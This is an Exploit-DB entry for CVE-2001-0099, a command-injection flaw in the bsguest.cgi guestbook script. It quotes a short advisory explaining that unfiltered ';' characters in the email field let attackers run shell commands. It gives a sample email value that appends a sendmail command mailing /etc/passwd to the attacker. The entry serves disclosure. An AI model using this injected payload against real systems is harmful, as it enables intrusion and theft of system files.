Exploit databaseDownload source
EDB-20524
Brian Stanback bsguest.cgi 1.0 - Remote Command Execution
Sources for CVE-2001-0099
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
EDB-20524.txt
Text · 768 bytessource: https://web.archive.org/web/2000/https://www.securityfocus.com/bid/2159/info
An input validation vulnerability exists in Brian Stanback's bsguest.cgi, a script designed to coordinate guestbook submissions from website visitors.
----------------------------------------
The script fails to properly filter ';' characters from the user-supplied email address collected by the script.
As a result, maliciously-formed values for this field can cause the the script to run arbitrary shell commands with the privilege level of the web server.
Attacker enters his email address as <[email protected]>
'[email protected];/usr/sbin/sendmail [email protected] < /etc/passwd',
server mails a confirmation letter along with the passwd file to the attacker.